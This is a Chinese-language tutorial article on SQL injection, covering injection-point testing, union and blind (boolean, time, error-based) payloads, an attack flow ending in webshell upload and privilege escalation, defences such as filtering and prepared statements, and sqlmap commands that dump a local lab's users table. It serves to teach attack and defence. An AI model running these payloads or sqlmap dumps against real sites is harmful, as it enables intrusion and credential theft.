目錄
一、SQL注入攻擊概述
1.1 SQL注入概念
1.1.1 標準查詢過程
1.1.2 SQL注入定義
1.2 SQL注入根本原因
1.3 SQL注入條件
1.4 SQL注入防范
1.4.1 根本原因:過濾不嚴
1.4.2 安全設計原則:數(shù)據(jù)與代碼分離
1.5?SQL注入流程
1.6 SQL注入分類
1.6.1 回顯注入
1.6.2 盲注
二、回顯注入攻擊
2.1 尋找注入點
2.1.1 常用語句
2.1.2 頁面反饋?
2.2 查字段數(shù)
2.2.1 常用的命令
2.2.2 代碼語句
2.3 MySQL數(shù)據(jù)庫
2.3.1 MySQL系統(tǒng)函數(shù)
三、SQL盲注攻擊
3.1 SQL盲注特點
3.1.1 只有true和false
3.1.2 無數(shù)據(jù)庫有效信息
3.2 SQL盲注分類
3.2.1 布爾盲注
3.2.2 時間盲注
3.2.3 報錯盲注
3.3 盲注總體思路
四、SQL注入攻擊防護
4.1 SQL注入防護思想
4.1.1 SQL注入關鍵條件
4.1.2 SQL注入本質(zhì)
4.1.3 安全設計原則
4.2 SQL注入防護方法
4.2.1 參數(shù)過濾
4.2.2 預編譯處理
五、SQLMap使用
5.1 SQL注入工具
5.1.1 SQLMap
5.1.2 阿D
5.1.3 名小子
5.2 SQLMap的使用
5.2.1 SQLMap介紹
5.2.2 具體使用步驟(GET型)
一、SQL注入攻擊概述
1.1 SQL注入概念
1.1.1 標準查詢過程
1.1.2 SQL注入定義
攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,并且插入的惡意SQL命令會導致原有SQL語句作用發(fā)生改變,從而得到欺騙服務器執(zhí)行惡意SQL命令的一種攻擊方式。
1.2 SQL注入根本原因
沒有對用戶輸入數(shù)據(jù)的合法性進行判斷
1.3 SQL注入條件
- 用戶能夠控制輸入的參數(shù),前端傳給后端的參數(shù)內(nèi)容是用戶可以控制的。
- 用戶輸入的參數(shù)被拼接到SQL語句,且帶入數(shù)據(jù)庫查詢,成為了要執(zhí)行的代碼。
1.4 SQL注入防范
1.4.1 根本原因:過濾不嚴
1.4.2 安全設計原則:數(shù)據(jù)與代碼分離
1.5?SQL注入流程
- 判斷Web系統(tǒng)使用的腳本語言,發(fā)現(xiàn)注入點,并確定是否存在SQL注入漏洞
- 判斷Web系統(tǒng)的數(shù)據(jù)庫類型
- 判斷數(shù)據(jù)庫中判斷表及相應字段的結(jié)構(gòu)
- 構(gòu)造注入語句,得到表中數(shù)據(jù)內(nèi)容
- 查找網(wǎng)站后臺,并用SQL注入得到的管理員賬號和口令登陸
- 結(jié)合其他漏洞,上傳Webshell并持續(xù)連接
- 進一步提權(quán),得到服務器的系統(tǒng)權(quán)限
- 查找注入點
- 查庫名
- 查表名
- 查字段名
- 查重點數(shù)據(jù)
1.6 SQL注入分類
1.6.1 回顯注入
即用戶發(fā)起查詢請求,服務器將查詢結(jié)果返回到頁面中進行顯示。
1.6.2 盲注
盲注的特點是用戶發(fā)起請求,這個請求不一定是查詢,服務器響應請求進行數(shù)據(jù)庫查詢,將結(jié)果返回但不顯示具體的查詢結(jié)果。典型的場景如用戶注冊,我們只會得到是否注冊成功提示,并不會顯示出數(shù)據(jù)庫內(nèi)容。
二、回顯注入攻擊
2.1 尋找注入點
2.1.1 常用語句
' //單引號測試
1' and '1'='1 //恒真測試
1' and '1'='2 //恒假測試
2.1.2 頁面反饋?
- 頁面無變化。以上三種情況頁面都沒有任何不同,那么說明后臺針對此查詢點的過濾比較嚴格,是否存在SQL注入漏洞還需要進行后續(xù)測試。
- 頁面中少了部分內(nèi)容。如果前兩種情況正常,而第三種情況明顯頁面有缺失,則基本可以確定存在SQL注入漏洞,用下一步繼續(xù)進行判斷。
- 錯誤回顯。如果訪問第三個連接后出現(xiàn)數(shù)據(jù)庫報錯信息,明顯可以判斷存在注入,用回顯注入法進行注入。
- 跳轉(zhuǎn)默認界面。第一種情況正常,而第二、三個直接跳轉(zhuǎn)到首頁后者默認頁面,那么可能后臺有驗證邏輯。
- 直接關閉連接。如果上述的第二、三種情況出現(xiàn)訪問失敗,那么就可能時開啟了防護類工具在線阻斷了。
2.2 查字段數(shù)
2.2.1 常用的命令
- order by(確認表的列數(shù))
- union(判斷回顯的具體字段位,一般構(gòu)造前面的語句為假)
2.2.2 代碼語句
1' order by 1 #
1' order by 5 #
注釋:#、(%23)、--+
2.3 MySQL數(shù)據(jù)庫
2.3.1 MySQL系統(tǒng)函數(shù)
version() //返回當前數(shù)據(jù)庫的版本信息
user() //返回當前用戶
database() //返回當前數(shù)據(jù)庫名
Group_concat() //將查詢結(jié)果連接成字符串
2.3.2 SQL注入危害
- 繞過檢測非法登陸
- 非法查詢關鍵信息
三、SQL盲注攻擊
3.1 SQL盲注特點
3.1.1 只有true和false
3.1.2 無數(shù)據(jù)庫有效信息
回顯注入語句中加入判斷方式,使得返回結(jié)果為true或false。
3.2 SQL盲注分類
3.2.1 布爾盲注
布爾盲注是構(gòu)造SQL判斷語句
1' and length(database())>=5 #
1' and substr(database(),1,1)=d?#
" and ord(substr(database(),3,1))=119 #
3.2.2 時間盲注
- 時間盲注是利用時間函數(shù),觀察不同條件的等待時長。利用Sleep()或 benchmark() 等函數(shù)讓MySQL的批行時間變長。
- 時間盲育注入多與 if( expr1,expr2,expr3) 函數(shù)結(jié)合使用,其中若 expr1 為True,則返回值為 expr2 的值,否則是 expr3 的值。
If(length(database())>3, sleep(5),1)
lf(substr(database() ,1,1)='d', sleep(5),1)
3.2.3 報錯盲注
構(gòu)造特殊參數(shù)形式,利用某些函數(shù)的報錯信息進行注入。如 updatexml(XML_document,XPath_string, new_value) 用 new_value 替換 XML_document 中符合 XPath_ string 的值。其中:
- XML_document:String格式,為XML文檔對象的名稱
- XPath_string:Xpath格式的字符串
- new_value:String格式,替換查找到的符合條件的數(shù)據(jù)
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) //0x7e是~的十六進制ASCLL值
→?ERROR 1105 (HY000): XPATH syntax error: '~dvwa~'
獲取數(shù)據(jù)庫 dvwa下的表名:
updatexml(1,concat(0x7e,(SELECT table_name from information_schema,tables where
table_schema='dvwa' limit 0,1),0x7e),1) //報錯注入只顯示一條結(jié)果,故使用 limit 語句
3.3 盲注總體思路
將想要查詢的數(shù)據(jù)作為目標,構(gòu)造SQL條件判斷語句,與要查詢的數(shù)據(jù)進行比較,并讓數(shù)據(jù)庫告之當前語句批行是否正確。
四、SQL注入攻擊防護
4.1 SQL注入防護思想
4.1.1 SQL注入關鍵條件
- 用戶可控輸入
- 參數(shù)帶入數(shù)據(jù)庫查詢
4.1.2 SQL注入本質(zhì)
把用戶輸入當作代碼執(zhí)行
4.1.3 安全設計原則
數(shù)據(jù)與代碼分離
4.2 SQL注入防護方法
4.2.1 參數(shù)過濾
① 參數(shù)類型限制
- 參數(shù)類型限制:類型判定函數(shù),如數(shù)字型判定 is_numeric(),cytpe_digit() 等
- 參數(shù)長度限定:如 strlen() 等
② 危險字符處理
- 黑名單過濾:針對參數(shù)中敏感字符進行過濾,用到 preg_replace() 函數(shù),如union,\,' ,select等
- 白名單過濾:符合白名單的方能通過
- 參數(shù)轉(zhuǎn)義:使用函數(shù) mysgli_real_escape_string 對特殊符號轉(zhuǎn)義
4.2.2 預編譯處理
預編譯語句,綁定變量,進行參數(shù)化查詢。數(shù)據(jù)庫服務器在數(shù)據(jù)庫完成SQL指令的編譯,才套用參數(shù)運行,參數(shù)不會被數(shù)據(jù)庫運行,且僅當它是一個參數(shù)而言。
五、SQLMap使用
5.1 SQL注入工具
5.1.1 SQLMap
5.1.2 阿D
5.1.3 名小子
5.2 SQLMap的使用
5.2.1 SQLMap介紹
① 概述
開源的自動化SQL注入工具,由Python寫成
② 主要功能
掃描、發(fā)現(xiàn)、利用給定URL的SQL注入漏洞
③ 特點
- 完全支持多種數(shù)據(jù)庫管理系統(tǒng):MySQL、 Oracle、PostgreSQL、 Microsoft SQL Server.Microsoft Access、IBM DB2、SQLite、 Firebird、Sybase.SAP MaxDB、HSQLDB和Informix等
- 支持 5 種SQL注入技術(shù)聯(lián)合查詢注入:市爾盲注、時間盲注、報錯盲注、堆查詢注入
- 支持枚舉用戶、密碼、哈希、權(quán)限、角色、數(shù)據(jù)庫、數(shù)據(jù)表和列
- 支持自動識別密碼哈希格式并通過字典破解密碼哈希
5.2.2 具體使用步驟(GET型)
① 判斷是否存在注入
sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"
② 爆庫
sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --dbs
③ 爆表
sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --tables -D security
④ 爆列
sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"--columns -T users -D security
⑤ 爆數(shù)據(jù)
sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1” --dump -cpassword,username -T users -D security
POST型:sqlmap.py -r 3.txt --dbs文章來源:http://www.zghlxwxcb.cn/news/detail-498405.html
cookie型:sqlmap.py -u “127.0.0.1/sqli-1abs/Less-20/" --cookie "uname=admin" --level 2文章來源地址http://www.zghlxwxcb.cn/news/detail-498405.html
到了這里,關于SQL注入攻擊與防護的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!